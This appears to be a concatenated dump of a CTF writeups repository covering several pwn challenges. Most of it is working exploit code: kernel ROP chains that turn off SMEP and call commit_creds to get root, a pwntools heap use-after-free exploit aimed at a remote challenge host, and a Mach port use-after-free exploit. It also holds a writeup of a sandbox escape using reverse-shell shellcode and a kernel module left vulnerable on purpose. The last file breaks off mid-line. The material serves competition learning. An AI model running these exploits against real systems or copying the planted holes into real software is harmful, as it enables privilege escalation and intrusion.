72 | 73 | Stack Cookies------------| 74 | 75 | -------------------------| 76 | 77 | Saved RBP----------------| 78 | 79 | -------------------------| 80 | 81 | Function return address--| 82 | 83 | -------------------------| 84 | 85 | ``` 86 | 87 | Trong khi reverse thì có thể nhận thấy rằng vòng lặp đọc-viết sẽ kết thúc khi kí tự đầu của input = `\x00` 88 | Ta có sẵn hàm `canyourunme` để chạy shell 89 | Payload: 90 | 91 | 71 Bytes + Canary + 8 bytes + vị trí của `canyourunme` + 4 92 | 93 | Không hiểu tại sao mà nếu không + 4 thì sẽ ăn segfault ở server. Mình tốn cả tiếng đồng hồ để có thể qua được đoạn này 94 | 95 | Có lẽ là do `push rbp;mov rbp,rsp` có gì đó không đúng. 96 | 97 | Anyway là sau đó `cat flag` là ta sẽ có flag 98 | 99 | 100 | -------------------------------------------------------------------------------- /CampCTF/PwningKernelz/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include "definitions.h" 6 | #include 7 | #define KERNEL_BASE_NO_SLID 0xFFFFFF8000100000ULL 8 | long usr_ebp; 9 | void aftermath(){ 10 | setuid(0); 11 | setuid(0); 12 | printf("getuid(): %d\n",getuid()); 13 | system("/bin/sh"); 14 | exit(0); 15 | } 16 | int main(int argc, const char * argv[]) { 17 | uint64_t slide = strtol(argv[1],NULL,16); 18 | printf("[+] PID:%d\n",getpid()); 19 | printf("[+] KASLR slide: %p\n",slide); 20 | puts("[?] Go pro?"); 21 | scanf("%*c"); 22 | vm_address_t addr = 0; 23 | assert(vm_allocate(mach_task_self(),&addr,0x1000,0)==0); 24 | memset(0,0,0x1000); 25 | x86_saved_state32_t state; 26 | mach_msg_type_number_t stateCount = x86_THREAD_STATE32_COUNT; 27 | //puts("Continue?"); 28 | //scanf("%*c"); 29 | //fflush(stdout); 30 | memset(&state, 0xFF, sizeof(x86_saved_state32_t)); 31 | state.gs = 0x23; 32 | vm_address_t fakeThread = 0; 33 | assert(vm_allocate(mach_task_self(),&fakeThread,0x1000,VM_FLAGS_ANYWHERE)==0); 34 | printf("[+] Fake Thread address: %p\n",fakeThread); 35 | vm_address_t fakeStack = 0; 36 | assert(vm_allocate(mach_task_self(),&fakeStack,0x10000,VM_FLAGS_ANYWHERE)==0); 37 | printf("[+] Fake stack address: %p\n",fakeStack); 38 | *(int64_t*)(8) = fakeThread; 39 | *(int64_t*)(fakeThread+848) = 0xffffff8000228061+slide;//thread->recover (leave;ret;) 40 | *(int64_t*)(0+0x168) = 0x500;//rsp (CPU_ESTACK) 41 | state.ebp = fakeStack+0x500; 42 | int64_t* fs = fakeStack+0x500; 43 | *(fs++) = 0xdeadbeef; 44 | *(fs++) = 0xffffff8000229270+slide; //pop rax; ret; 45 | *(fs++) = 0x00000000000606e0; //SMEP bit off 46 | *(fs++) = 0xffffff800040b613+slide; //mov cr4, rax; ret; 47 | *(fs++) = swapgs; 48 | *(fs++) = 0xffffff8000968360+slide; //current_proc 49 | 50 | *(fs++) = 0xffffff80007ce67a+slide; //pop rcx; ret; 51 | *(fs++) = 0xffffff8000820d30+slide; //proc_ucred 52 | *(fs++) = 0xffffff800098b4b6+slide; //mov rdi, rax; pop rbp; jmp rcx; 53 | *(fs++) = 0xdeadbeef; 54 | *(fs++) = 0xffffff80007ce67a+slide; //pop rcx; ret; 55 | *(fs++) = 0xffffff80007ddbe0+slide; //posix_cred_get 56 | *(fs++) = 0xffffff800098b4b6+slide; //mov rdi, rax; pop rbp; jmp rcx; 57 | *(fs++) = 0xdeadbeef; 58 | 59 | *(fs++) = 0xffffff8000a28a5d + slide;// mov qword ptr [rax + 8], 0; pop rbp; ret; update cr_svuid 60 | asm("mov %%ebp, %0;":"=r"(*(fs++))); 61 | 62 | *(fs++) = (int64_t)prepIretq; 63 | *(fs++) = 0xffffff80002298bc+slide;//ret32_iret we can't use thread_exception_return because the saved_state is f'ked up 64 | 65 | *(fs++) = aftermath; 66 | *(fs++) = 0x1b; 67 | *(fs++) = 0x246; 68 | asm("mov %%esp, %0;":"=r"(*(fs++))); 69 | *(fs++) = 0x23; 70 | fflush(stdout); 71 | signal(SIGSEGV,aftermath); 72 | printf("%d\n",thread_set_state(mach_thread_self(), x86_SAVED_STATE32, (thread_state_t) &state, x86_SAVED_STATE32_COUNT)); 73 | while(1) {} 74 | return 0; 75 | } 76 | 77 | 78 | 79 | 80 | 81 | -------------------------------------------------------------------------------- /AceBear2019/house_of_loop/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from pwn import * 3 | import os 4 | from time import sleep 5 | e = ELF('./house_of_loop') 6 | libc = ELF('./libc-2.27.so') 7 | if 'remote' in os.environ: 8 | io = remote('houseofloop.whitehat.vn',6969) 9 | else: 10 | io = process(e.path,env = {'LD_PRELOAD':'./libc-2.27.so'}) 11 | 12 | def _counter(): 13 | i = 0 14 | while True: 15 | i += 1 16 | yield i 17 | counter = _counter() 18 | def alloc(size,title=None,private='',des=''): 19 | if not title: 20 | title = next(counter) 21 | log.info(io.recv(timeout=0.2)) 22 | io.sendline('1') 23 | sleep(0.2) 24 | io.sendline(str(title)) 25 | sleep(0.2) 26 | io.sendline(private) 27 | sleep(0.2) 28 | io.sendline(str(size)) 29 | sleep(0.2) 30 | if size>0: 31 | io.sendline(des) 32 | sleep(0.2) 33 | 34 | def view(): 35 | log.info(io.recv(timeout=0.2)) 36 | io.sendline('2') 37 | sleep(0.2) 38 | 39 | def delete(title): 40 | log.info(io.recv(timeout=0.2)) 41 | io.sendline('3') 42 | sleep(0.2) 43 | io.sendline(str(title)) 44 | sleep(0.2) 45 | 46 | # Leaking Heap address 47 | pattern = re.compile(r'Des: (.{6,8})\n',re.DOTALL) 48 | 49 | alloc(0) #1 50 | alloc(0) #2 51 | delete(2) 52 | delete(1) 53 | alloc(0) #3 54 | alloc(0) #4 55 | view() 56 | d = io.recv() 57 | log.info(d) 58 | leaked_heap_addr = u64(pattern.search(d).group(1).ljust(8,"\x00")) 59 | 60 | log.info('Leaked heap addr '+hex(leaked_heap_addr)) 61 | 62 | # Leaking libc address 63 | ## Filling up holes created before 64 | alloc(0) #5 65 | alloc(0) #6 66 | ## Actual exploit 67 | alloc(4096) #7 68 | alloc(144) #8 69 | alloc(144) #9 70 | alloc(144) #10 71 | alloc(144) #11 72 | delete(7) 73 | delete(11) 74 | alloc(0) #12 75 | view() 76 | d = io.recv() 77 | log.info(repr(d)) 78 | 79 | pattern = re.compile(r'Title: 12\n\tDes: (.{6,8})\n\n',re.DOTALL) 80 | print(repr(pattern.search(d).group(1))) 81 | leaked_libc_addr = u64(pattern.search(d).group(1).ljust(8,'\x00')) 82 | log.info('Leaked libc addr: '+hex(leaked_libc_addr)) 83 | libcbase = leaked_libc_addr-4113088 84 | log.info('Libc base: '+hex(libcbase)) 85 | free_hook = libcbase+ libc.symbols['__free_hook'] 86 | log.info('free_hook: '+hex(free_hook)) 87 | one_gadget = libcbase + 0x4f322 88 | log.info('one_gadget: '+hex(one_gadget)) 89 | ## Use-after-free 90 | ### Filling up holes created by previous stage 91 | alloc(144) #13 92 | alloc(144) #14 93 | alloc(4096) #15 94 | 95 | ### Actual Exploit 96 | alloc(144,des=cyclic(0x80)+p64(0)+p64(free_hook-0x88)) #16 97 | alloc(144,des=cyclic(0x80)+p64(0)+p64(one_gadget)) #17 98 | alloc(4096) #18 99 | delete(18) 100 | delete(17) 101 | delete(16) 102 | alloc(4096) #19 103 | alloc(144) #20 next_note in-control 104 | alloc(144) #21 next_note in-control 105 | #gdb.attach(io) 106 | #raw_input("Continue?") 107 | delete(21) 108 | 109 | 110 | #gdb.attach(io) 111 | 112 | io.interactive() 113 | ''' 114 | 0x4f2c5 execve("/bin/sh", rsp+0x40, environ) 115 | constraints: 116 | rcx == NULL 117 | 118 | 0x4f322 execve("/bin/sh", rsp+0x40, environ) 119 | constraints: 120 | [rsp+0x40] == NULL 121 | 122 | 0x10a38c execve("/bin/sh", rsp+0x70, environ) 123 | constraints: 124 | [rsp+0x70] == NULL 125 | ''' 126 | -------------------------------------------------------------------------------- /tetctf/babysandbox/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "TetCTF babySandbox" 3 | date: 2019-02-22T23:17:46+07:00 4 | Tags: ["TetCTF", "CTF", "pwn","sandbox","ROP","NX"] 5 | Language: ["English"] 6 | --- 7 | 8 | # Baby Sandbox 9 | 10 | This is a challenge of TetCTF, which is hosted from Jan 1st to Jan 7th by MeePwn Team of Vietnam 11 | 12 | You may want to checkout the [exploit code](https://github.com/TrungNguyen1909/writeups/tree/master/tetctf/babysandbox) 13 | 14 | ## Challenge description 15 | 16 | We are given 2 binary, one is `sandbox` and the other one is `program`. 17 | 18 | `sandbox`, judging by its name, is a implementation of sandbox, executing the program passed in argv[1] in an sandbox environment. 19 | 20 | `program` is executed by `sandbox`, which is a simple static stripped executable which simply reads your input and then output it. 21 | 22 | ## Reversing 23 | 24 | `sandbox` forks and execve a child process that passed in argv[1], then use ptrace to monitor it 25 | 26 | At every syscall, it checks if the syscall is not blacklist and not violates custom rules and then choosing whether to stop it or continue. 27 | 28 | Some syscalls are blocked are fork, execve, open (filename containing flag), ... 29 | 30 | `program` is a statically-linked stripped binary, reads input, writes it out, do a mystery function 3 times then exits. 31 | 32 | ## Bugs 33 | 34 | `sandbox` blacklists syscall, but it only blacklists x86_64 system call numbers. 35 | The difference between x86 and x86_64 syscall table allows us to using forbidden syscalls 36 | 37 | `program` has a buffer-overflow, which allowing arbitrary code execution 38 | 39 | ## Exploit 40 | 41 | To escape the sandbox, we can fork it using 32bit syscall number. The newly spawned process will be off-the-radar. 42 | 43 | The file `poc.s` is a sandbox-escape proof-of-concept, which will escape itself and spawn a shell 44 | 45 | `program` is a statically-linked, which allows us to have a good surface for ROPing 46 | 47 | I decided to make the stack executable to allow us to injecting the shellcode. 48 | 49 | While searching for solutions such as mmap or mprotect, I suddenly remember to `_dl_make_stack_executable`, 50 | which always available in statically-linked binary. 51 | 52 | The way I found it was while searching for `mov eax, 9;syscall` for `mprotect` syscall, 53 | I suddenly realised that the function that it was found in, is definitely the libc wrapper for `mprotect` 54 | 55 | Searching reference to this function, I found 3 ones that has reference to `mprotect`. 56 | 57 | By comparing those function reference offset to `mprotect` to the one in the others libc, 58 | We can find the `_dl_make_stack_executable` function. Its reference to `mprotect` is about 0x26 to 0x27 bytes from the function beginning. 59 | 60 | With some reversing in that function, we can use it to make the stack executable again. 61 | This technique first appeared in the CTF was in the BKPCTF Simple Calc Challenge. 62 | 63 | After that, we can `push rsp;ret` to jump to our following shellcode. 64 | 65 | While doing this, you will realise that the function that is called last in main was `close(fd)`. 66 | It was used to close all pipe before leaving. 67 | 68 | Also, please bear in mind that `program` will only read 256(0x100) bytes so make sure everything fits in. 69 | My exploit use 255/256 bytes, which is nice(although it is a bit infuriating by leaving one-byte unused) 70 | 71 | The first shellcode is responsible for opening a reverse shell, reading the next shellcode to a fixed executable mmap then returning to this. 72 | 73 | The second shellcode is responsible for escaping sandbox and then gives us a shell. 74 | 75 | 76 | -------------------------------------------------------------------------------- /matesctf/KSMASH/exploit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | int __attribute__((regparm(3))) (*commit_creds)(unsigned long cred); 10 | unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned long cred); 11 | void escalate_privs() { commit_creds(prepare_kernel_cred(0));} 12 | unsigned long user_cs; 13 | unsigned long user_ss; 14 | unsigned long user_rflags; 15 | 16 | static void save_state() { 17 | asm( 18 | "movq %%cs, %0\n" 19 | "movq %%ss, %1\n" 20 | "pushfq\n" 21 | "popq %2\n" 22 | : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory" ); 23 | } 24 | void shell(void) { 25 | puts("Returned to userspace!"); 26 | if(!getuid()) 27 | { 28 | puts("Got r00t :)"); 29 | system("/bin/sh"); 30 | } 31 | exit(0); 32 | } 33 | int main(){ 34 | int fd = open("/proc/havoc",O_RDWR); 35 | signal(SIGSEGV,shell); 36 | char *inpbuf =(char*) calloc(256,sizeof(char)); 37 | read(fd,inpbuf,100); 38 | unsigned long int *ib=(unsigned long int*)(inpbuf+1); 39 | for(int i=0;i<=8;i+=1) 40 | { 41 | printf("%lx\n",ib[i]); 42 | 43 | } 44 | unsigned long canary = ib[0]; 45 | unsigned long rbp = ib[2]; 46 | unsigned long oldRIP = ib[3]; 47 | unsigned long kernelbase = oldRIP - 3256081; 48 | unsigned long poprdi = kernelbase+0x838d0; 49 | unsigned long movcr4rdi = kernelbase+0x1feb0; 50 | unsigned long iretq = kernelbase + 0x3625b; 51 | unsigned long swapgs = kernelbase + 0x6d8b4; 52 | unsigned long movrsprbp = kernelbase + 0x8383c; 53 | unsigned long poprdx = kernelbase + 0xea1b9; 54 | unsigned long movrdir8callrdx = kernelbase + 0xe0eca2; 55 | unsigned long callrdx = kernelbase + 0xc041b7; 56 | unsigned long movr8raxpoprbp = kernelbase + 0x8beee; 57 | unsigned long poprbp = kernelbase + 0x3cb; 58 | prepare_kernel_cred = kernelbase + 0xb5b10; 59 | commit_creds = kernelbase+ 0xb5760; 60 | printf("[*] Kernel Base:%lx\n",kernelbase); 61 | printf("[*] commit_creds:%p\n",commit_creds); 62 | printf("[*] prepare_kernel_cred:%p\n",prepare_kernel_cred); 63 | void *temp_stack; 64 | temp_stack = mmap((void*)0x30000000, 0x10000000, 7, MAP_PRIVATE|MAP_ANON, -1, 0); 65 | unsigned long* mapped; 66 | printf("temporary stack for later return: %p\n",temp_stack); 67 | ib[3] = poprdi; 68 | ib[4] = 0; 69 | ib[5] = (unsigned long) prepare_kernel_cred; 70 | ib[6] = movr8raxpoprbp; 71 | ib[7] = (unsigned long)rbp+0x1000; 72 | ib[8] = (unsigned long) commit_creds; 73 | ib[9] = (unsigned long) swapgs; 74 | ib[10] = (unsigned long)(rbp+0x1000); 75 | ib[11] = iretq; 76 | ib[12] = (unsigned long)shell; 77 | save_state(); 78 | ib[13] = user_cs; 79 | ib[14] = user_rflags; 80 | ib[15] = (unsigned long)(temp_stack+0x5000000); 81 | ib[16] = user_ss; 82 | puts(""); 83 | void* payload = malloc(1000); 84 | memcpy(payload+1,ib,256); 85 | puts("Exploit?"); 86 | char c; 87 | scanf("%c",&c); 88 | write(fd,payload,257); 89 | puts("Returned to userspace!"); 90 | system("/bin/sh"); 91 | } 92 | /* 93 | * 0xffffffff8103625b: iretq; pop rbp; ret; 94 | * 0xffffffff8101feb0: mov cr4, rdi; pop rbp; ret; 95 | * 0xffffffff810838d0: pop rdi; ret; 96 | * 0xffffffff8106d8b4: swapgs; pop rbp; ret; 97 | * 0xffffffff8108383c: mov rsp, rbp; pop rbp; ret; 98 | * 0xffffffff8108beee : mov r8, rax ; mov rax, r8 ; pop rbp ; ret 99 | * 0xffffffff81e0eca2 : mov rdi, r8 ; call rdx 100 | * 0xffffffff810ea1b9 : pop rdx ; ret 101 | * 0xffffffff81c041b7 : call rdx 102 | * 0xffffffff810003cb : pop rbp ; ret 103 | */ 104 | -------------------------------------------------------------------------------- /WhiteHatGrandPrix06/Pwn01/scull-vuln/scull.init: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Sample init script for the scull driver module 3 | 4 | DEVICE="scull" 5 | SECTION="misc" 6 | 7 | # The list of filenames and minor numbers: $PREFIX is prefixed to all names 8 | PREFIX="scull" 9 | FILES=" 0 0 1 1 2 2 3 3 priv 16 10 | pipe0 32 pipe1 33 pipe2 34 pipe3 35 11 | single 48 uid 64 wuid 80" 12 | 13 | INSMOD=/sbin/insmod; # use /sbin/modprobe if you prefer 14 | 15 | function device_specific_post_load () { 16 | true; # fill at will 17 | } 18 | function device_specific_pre_unload () { 19 | true; # fill at will 20 | } 21 | 22 | # Everything below this line should work unchanged for any char device. 23 | # Obviously, however, no options on the command line: either in 24 | # /etc/${DEVICE}.conf or /etc/modules.conf (if modprobe is used) 25 | 26 | # Optional configuration file: format is 27 | # owner 28 | # group 29 | # mode 30 | # options 31 | CFG=/etc/${DEVICE}.conf 32 | 33 | # kernel version, used to look for modules 34 | KERNEL=`uname -r` 35 | 36 | #FIXME: it looks like there is no misc section. Where should it be? 37 | MODDIR="/lib/modules/${KERNEL}/kernel/drivers/${SECTION}" 38 | if [ ! -d $MODDIR ]; then MODDIR="/lib/modules/${KERNEL}/${SECTION}"; fi 39 | 40 | # Root or die 41 | if [ "$(id -u)" != "0" ] 42 | then 43 | echo "You must be root to load or unload kernel modules" 44 | exit 1 45 | fi 46 | 47 | # Read configuration file 48 | if [ -r $CFG ]; then 49 | OWNER=`awk "\\$1==\"owner\" {print \\$2}" $CFG` 50 | GROUP=`awk "\\$1==\"group\" {print \\$2}" $CFG` 51 | MODE=`awk "\\$1==\"mode\" {print \\$2}" $CFG` 52 | # The options string may include extra blanks or only blanks 53 | OPTIONS=`sed -n '/^options / s/options //p' $CFG` 54 | fi 55 | 56 | 57 | # Create device files 58 | function create_files () { 59 | cd /dev 60 | local devlist="" 61 | local file 62 | while true; do 63 | if [ $# -lt 2 ]; then break; fi 64 | file="${DEVICE}$1" 65 | mknod $file c $MAJOR $2 66 | devlist="$devlist $file" 67 | shift 2 68 | done 69 | if [ -n "$OWNER" ]; then chown $OWNER $devlist; fi 70 | if [ -n "$GROUP" ]; then chgrp $GROUP $devlist; fi 71 | if [ -n "$MODE" ]; then chmod $MODE $devlist; fi 72 | } 73 | 74 | # Remove device files 75 | function remove_files () { 76 | cd /dev 77 | local devlist="" 78 | local file 79 | while true; do 80 | if [ $# -lt 2 ]; then break; fi 81 | file="${DEVICE}$1" 82 | devlist="$devlist $file" 83 | shift 2 84 | done 85 | rm -f $devlist 86 | } 87 | 88 | # Load and create files 89 | function load_device () { 90 | 91 | if [ -f $MODDIR/$DEVICE.ko ]; then 92 | devpath=$MODDIR/$DEVICE.ko 93 | else if [ -f ./$DEVICE.ko ]; then 94 | devpath=./$DEVICE.ko 95 | else 96 | devpath=$DEVICE; # let insmod/modprobe guess 97 | fi; fi 98 | if [ "$devpath" != "$DEVICE" ]; then 99 | echo -n " (loading file $devpath)" 100 | fi 101 | 102 | if $INSMOD $devpath $OPTIONS; then 103 | MAJOR=`awk "\\$2==\"$DEVICE\" {print \\$1}" /proc/devices` 104 | remove_files $FILES 105 | create_files $FILES 106 | device_specific_post_load 107 | else 108 | echo " FAILED!" 109 | fi 110 | } 111 | 112 | # Unload and remove files 113 | function unload_device () { 114 | device_specific_pre_unload 115 | /sbin/rmmod $DEVICE 116 | remove_files $FILES 117 | } 118 | 119 | 120 | case "$1" in 121 | start) 122 | echo -n "Loading $DEVICE" 123 | load_device 124 | echo "." 125 | ;; 126 | stop) 127 | echo -n "Unloading $DEVICE" 128 | unload_device 129 | echo "." 130 | ;; 131 | force-reload|restart) 132 | echo -n "Reloading $DEVICE" 133 | unload_device 134 | load_device 135 | echo "." 136 | ;; 137 | *) 138 | echo "Usage: $0 {start|stop|restart|force-reload}" 139 | exit 1 140 | esac 141 | 142 | exit 0 143 | -------------------------------------------------------------------------------- /35c3/pillow/exploit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include "shelld.h" 8 | #include "shelld_client.h" 9 | #include "common.h" 10 | //Common Assertions 11 | #define ASSERT(c) if (!(c)) { printf("[-] assertion \"" #c "\" failed!\n"); exit(-1); } 12 | #define ASSERT_MACH_SUCCESS(r, name) if (r != 0) { printf("[-] %s failed: %s!\n", name, mach_error_string(r)); exit(-1); } 13 | #define ASSERT_SUCCESS(r, name) if (r != 0) { printf("[-] %s failed!\n", name); exit(-1); } 14 | #define ASSERT_KERN_SUCCESS(r, name) if (r != 0) { printf("[-] %s failed!\n", name); exit(-1); } 15 | //Structure 16 | typedef struct{ 17 | mach_msg_header_t Head; 18 | NDR_record_t NDR; //Pass-in input argument 19 | kern_return_t RetCode;//These 3 are common for MIG 20 | int out; //Result 21 | } Reply__has_capability_t; 22 | typedef __Request__shelld_client_notify_t Request__shelld_client_notify_t; 23 | mach_port_t shelld_port; 24 | mach_port_t capsd_port; 25 | mach_port_t bootstrap_port; 26 | 27 | int main(){ 28 | //Find service ports 29 | puts("[*] Finding service ports..."); 30 | ASSERT_MACH_SUCCESS(task_get_bootstrap_port(mach_task_self(), &bootstrap_port), "task_get_bootstrap_port"); 31 | ASSERT_MACH_SUCCESS(bootstrap_look_up(bootstrap_port, "net.saelo.capsd", &capsd_port), "bootstrap_look_up"); 32 | ASSERT_MACH_SUCCESS(bootstrap_look_up(bootstrap_port, "net.saelo.shelld", &shelld_port), "bootstrap_look_up"); 33 | //Trigger bug 34 | /* 35 | capsd_port will be deallocated twice, one by code and one by MIG since KERN_FAILURE 36 | uref will decrease to 0 leading to mach port being destroyed allowing port use-after-free 37 | Doing this a few time to make sure that all urefs are clean 38 | */ 39 | puts("[*] Triggering bug and free ports..."); 40 | for(int _=0;_<100;_++) 41 | register_completion_listener(shelld_port,"non-existent-session",capsd_port); 42 | //Create a session 43 | puts("[*] Creating a session with very long name..."); 44 | char* session = calloc(4096, sizeof(char));//Long session name to make sandbox refuse to work due to long folder path 45 | memset(session,'a',4095*sizeof(char)); 46 | ASSERT_KERN_SUCCESS(create_session(shelld_port, session), "create_session"); 47 | //Trying to get the freed port 48 | puts("[*] Trying to get the freed port..."); 49 | for(int t=1;t<=10000;t++){ 50 | printf("[*] Try #%d\n",t); 51 | mach_port_name_t proxy_port; 52 | ASSERT_MACH_SUCCESS(mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &proxy_port), "mach_port_allocate"); 53 | ASSERT_MACH_SUCCESS(mach_port_insert_right(mach_task_self(), proxy_port, proxy_port, MACH_MSG_TYPE_MAKE_SEND), "mach_port_insert_right"); 54 | ASSERT_KERN_SUCCESS(register_completion_listener(shelld_port, session, proxy_port),"register_completion_listener"); 55 | //Create a queue, asynchonorously receiving messages from our ports 56 | dispatch_queue_t proxyQueue = dispatch_queue_create("proxy.queue", 0); 57 | dispatch_async(proxyQueue, ^{ 58 | char* buf = malloc(2048); 59 | if(mach_msg((mach_msg_header_t*)buf, MACH_MSG_OPTION_NONE | MACH_RCV_MSG | MACH_RCV_TIMEOUT, 0, 2048, proxy_port, 1, 0)==KERN_SUCCESS){ 60 | puts("[+] We got IPC man-in-the-middle!"); 61 | Reply__has_capability_t repl; 62 | memcpy(&repl,buf,sizeof(mach_msg_header_t)); 63 | repl.Head.msgh_id = 733201; 64 | repl.Head.msgh_bits &= ~MACH_MSGH_BITS_COMPLEX; 65 | repl.Head.msgh_local_port = proxy_port; 66 | repl.Head.msgh_voucher_port = MACH_PORT_NULL; 67 | repl.Head.msgh_size = 40; 68 | repl.out = 1; 69 | repl.RetCode = 0; 70 | ASSERT_MACH_SUCCESS(mach_msg_send((mach_msg_header_t *)&repl), "mach_msg_send"); 71 | return; 72 | } 73 | free(buf); 74 | }); 75 | if(shell_exec(shelld_port, session, "/usr/bin/id")==KERN_SUCCESS){ 76 | char *buf = malloc(8192); 77 | if(mach_msg((mach_msg_header_t*)buf, MACH_MSG_OPTION_NONE | MACH_RCV_MSG, 0, 8192, proxy_port, MACH_MSG_TIMEOUT_NONE, 0)==KERN_SUCCESS) 78 | { 79 | Request__shelld_client_notify_t *result =(Request__shelld_client_notify_t*) buf; 80 | printf("[i] Program exited with exit code %d\n",result->status); 81 | puts(result->output); 82 | return 0; 83 | } 84 | } 85 | unregister_completion_listener(shelld_port, session); 86 | } 87 | } 88 | -------------------------------------------------------------------------------- /GGCTF21/ctf.c: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2021 Google LLC 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | https://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | #include 17 | #include 18 | #include 19 | #include 20 | 21 | #define CTF_MAJOR 385 22 | 23 | #undef pr_fmt 24 | #define pr_fmt(fmt) KBUILD_MODNAME ": " fmt 25 | 26 | MODULE_AUTHOR("Matteo Rizzo "); 27 | MODULE_DESCRIPTION("Exploit me"); 28 | MODULE_LICENSE("Apache-2.0"); 29 | 30 | static ssize_t ctf_read(struct file *f, char __user *data, size_t size, loff_t *off); 31 | static ssize_t ctf_write(struct file *f, const char __user *data, size_t size, loff_t *off); 32 | static ssize_t ctf_ioctl(struct file *, unsigned int cmd, unsigned long arg); 33 | static int ctf_open(struct inode *inode, struct file *f); 34 | static int ctf_release(struct inode *inode, struct file *f); 35 | 36 | struct ctf_data { 37 | char *mem; 38 | size_t size; 39 | }; 40 | 41 | static struct cdev ctf_cdev; 42 | static const struct file_operations ctf_fops = { 43 | .owner = THIS_MODULE, 44 | .open = ctf_open, 45 | .release = ctf_release, 46 | .read = ctf_read, 47 | .write = ctf_write, 48 | .unlocked_ioctl = ctf_ioctl, 49 | }; 50 | 51 | static ssize_t ctf_read(struct file *f, char __user *data, size_t size, loff_t *off) 52 | { 53 | struct ctf_data *ctf_data = f->private_data; 54 | if (size > ctf_data->size) { 55 | return -EINVAL; 56 | } 57 | 58 | if (copy_to_user(data, ctf_data->mem, size)) { 59 | return -EFAULT; 60 | } 61 | 62 | return size; 63 | } 64 | 65 | static ssize_t ctf_write(struct file *f, const char __user *data, size_t size, loff_t *off) 66 | { 67 | struct ctf_data *ctf_data = f->private_data; 68 | if (size > ctf_data->size) { 69 | return -EINVAL; 70 | } 71 | 72 | if (copy_from_user(ctf_data->mem, data, size)) { 73 | return -EFAULT; 74 | } 75 | 76 | return size; 77 | } 78 | 79 | static ssize_t ctf_ioctl(struct file *f, unsigned int cmd, unsigned long arg) 80 | { 81 | struct ctf_data *data = f->private_data; 82 | char *mem; 83 | 84 | switch(cmd) { 85 | case 1337: 86 | if (arg > 2000) { 87 | return -EINVAL; 88 | } 89 | 90 | mem = kmalloc(arg, GFP_KERNEL); 91 | if (mem == NULL) { 92 | return -ENOMEM; 93 | } 94 | 95 | data->mem = mem; 96 | data->size = arg; 97 | break; 98 | 99 | case 1338: 100 | kfree(data->mem); 101 | break; 102 | 103 | default: 104 | return -ENOTTY; 105 | } 106 | 107 | return 0; 108 | } 109 | 110 | static int ctf_open(struct inode *inode, struct file *f) 111 | { 112 | struct ctf_data *data = kzalloc(sizeof(struct ctf_data), GFP_KERNEL); 113 | if (data == NULL) { 114 | return -ENOMEM; 115 | } 116 | 117 | f->private_data = data; 118 | 119 | return 0; 120 | } 121 | 122 | static int ctf_release(struct inode *inode, struct file *f) 123 | { 124 | kfree(f->private_data); 125 | return 0; 126 | } 127 | 128 | static int __init ctf_init_module(void) 129 | { 130 | int err = register_chrdev_region(MKDEV(CTF_MAJOR, 0), 1, "ctfdevice"); 131 | if (err < 0) { 132 | pr_err("Could not reserve the chardev region: %d\n", err); 133 | return err; 134 | } 135 | 136 | cdev_init(&ctf_cdev, &ctf_fops); 137 | err = cdev_add(&ctf_cdev, MKDEV(CTF_MAJOR, 0), 1); 138 | if (err < 0) { 139 | pr_err("Could not initialize the chardev: %d\n", err); 140 | unregister_chrdev_region(MKDEV(CTF_MAJOR, 0), 1); 141 | return err; 142 | } 143 | 144 | pr_info("Ready!\n"); 145 | 146 | return 0; 147 | } 148 | 149 | module_init(ctf_init_module); 150 | 151 | static void __exit ctf_exit_module(void) 152 | { 153 | pr_info("Exiting...\n"); 154 | cdev_del(&ctf_cdev); 155 | unregister_chrdev_region(MKDEV(CTF_MAJOR, 0), 1); 156 | } 157 | 158 | module_exit(ctf_exit_module); 159 | -------------------------------------------------------------------------------- /GGCTF21/exploit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | 21 | #define TTY_MAGIC 0x5401 22 | 23 | int arw_ctl = -1; 24 | int arw_fd = -1; 25 | 26 | void kread(uint64_t addr, void *buf, size_t len) { 27 | assert(arw_ctl != -1); 28 | assert(arw_fd != -1); 29 | uint64_t data[2]; 30 | data[0] = addr; 31 | data[1] = len; 32 | write(arw_ctl, data, 16); 33 | read(arw_fd, buf, len); 34 | } 35 | 36 | void kwrite(uint64_t addr, void *buf, size_t len) { 37 | assert(arw_ctl != -1); 38 | assert(arw_fd != -1); 39 | uint64_t data[2]; 40 | data[0] = addr; 41 | data[1] = len; 42 | write(arw_ctl, data, 16); 43 | write(arw_fd, buf, len); 44 | } 45 | 46 | uint64_t kread64(uint64_t addr) { 47 | uint64_t value; 48 | kread(addr, &value, 8); 49 | return value; 50 | } 51 | 52 | void kwrite64(uint64_t addr, uint64_t value) { 53 | kwrite(addr, &value, 8); 54 | } 55 | int main() 56 | { 57 | int fds[0x40]; 58 | int ttys[0x40]; 59 | uint64_t kbase = 0; 60 | for (int i = 0; i < 0x40; i++) { 61 | fds[i] = open("/dev/ctf", O_RDWR); 62 | assert(fds[i] >= 0); 63 | assert(ioctl(fds[i], 1337, 1024) >= 0); 64 | } 65 | 66 | for (int i = 0; i < 0x40; i++) { 67 | /* Free all data */ 68 | assert(ioctl(fds[i], 1338, 0) >= 0); 69 | } 70 | 71 | for (int i = 0; i < 0x40; i++) { 72 | ttys[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY); 73 | assert(ttys[i] >= 